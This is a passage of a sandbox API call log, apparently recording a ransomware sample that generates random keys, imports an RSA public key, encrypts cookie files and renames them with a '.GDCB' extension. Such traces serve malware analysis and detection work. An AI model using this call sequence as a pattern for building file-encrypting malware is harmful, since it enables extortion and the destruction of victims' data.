hKey=0x5036310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.794] GetLastError () returned 0x0 [0188.794] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.794] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\D9QO3KHK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\d9qo3khk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.796] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.798] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.799] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x108, lpOverlapped=0x0) returned 1 [0188.808] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.813] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\D9QO3KHK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\d9qo3khk.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\D9QO3KHK.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\d9qo3khk.txt.gdcb")) returned 1 [0188.818] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.821] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.821] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.821] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.823] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.823] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.825] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036390) returned 1 [0188.826] CryptGetKeyParam (in: hKey=0x5036390, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.826] CryptEncrypt (in: hKey=0x5036390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.826] GetLastError () returned 0x0 [0188.826] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.826] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.828] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036450) returned 1 [0188.828] CryptGetKeyParam (in: hKey=0x5036450, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.828] CryptEncrypt (in: hKey=0x5036450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.828] GetLastError () returned 0x0 [0188.828] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.828] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DN8YUCVA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dn8yucva.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.830] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.833] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.834] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x561, lpOverlapped=0x0) returned 1 [0188.865] VirtualAlloc (lpAddress=0x0, dwSize=0x570, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.869] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DN8YUCVA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dn8yucva.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DN8YUCVA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dn8yucva.txt.gdcb")) returned 1 [0188.876] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.878] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.878] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.879] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.880] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.881] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.881] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.881] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.882] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.884] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036490) returned 1 [0188.884] CryptGetKeyParam (in: hKey=0x5036490, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.884] CryptEncrypt (in: hKey=0x5036490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.884] GetLastError () returned 0x0 [0188.884] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.884] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.886] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037010) returned 1 [0188.886] CryptGetKeyParam (in: hKey=0x5037010, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.886] CryptEncrypt (in: hKey=0x5037010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.886] GetLastError () returned 0x0 [0188.886] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.886] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DQI7WAG8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dqi7wag8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.888] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.890] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.891] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5a, lpOverlapped=0x0) returned 1 [0188.903] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.909] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DQI7WAG8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dqi7wag8.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DQI7WAG8.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dqi7wag8.txt.gdcb")) returned 1 [0188.918] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.921] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.922] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.922] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.924] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.924] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.925] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.928] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036990) returned 1 [0188.928] CryptGetKeyParam (in: hKey=0x5036990, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.928] CryptEncrypt (in: hKey=0x5036990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.929] GetLastError () returned 0x0 [0188.929] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.929] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.932] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036f10) returned 1 [0188.932] CryptGetKeyParam (in: hKey=0x5036f10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.932] CryptEncrypt (in: hKey=0x5036f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.932] GetLastError () returned 0x0 [0188.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.932] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DRDF2EZX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\drdf2ezx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.935] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.937] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.938] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5d, lpOverlapped=0x0) returned 1 [0188.951] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.956] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DRDF2EZX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\drdf2ezx.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DRDF2EZX.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\drdf2ezx.txt.gdcb")) returned 1 [0188.965] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.968] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.968] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.968] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.971] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.971] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.971] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.974] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50368d0) returned 1 [0188.975] CryptGetKeyParam (in: hKey=0x50368d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.975] CryptEncrypt (in: hKey=0x50368d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.975] GetLastError () returned 0x0 [0188.975] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.975] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.977] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036f50) returned 1 [0188.978] CryptGetKeyParam (in: hKey=0x5036f50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.978] CryptEncrypt (in: hKey=0x5036f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.978] GetLastError () returned 0x0 [0188.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E2KPI4ZI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e2kpi4zi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.984] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x69, lpOverlapped=0x0) returned 1 [0188.995] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.001] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E2KPI4ZI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e2kpi4zi.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E2KPI4ZI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e2kpi4zi.txt.gdcb")) returned 1 [0189.010] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0189.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.013] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.013] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.013] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.016] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.016] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.016] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.019] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036c50) returned 1 [0189.019] CryptGetKeyParam (in: hKey=0x5036c50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.019] CryptEncrypt (in: hKey=0x5036c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.020] GetLastError () returned 0x0 [0189.020] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.020] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.023] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036950) returned 1 [0189.023] CryptGetKeyParam (in: hKey=0x5036950, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.023] CryptEncrypt (in: hKey=0x5036950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.023] GetLastError () returned 0x0 [0189.023] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E978TFRK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e978tfrk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 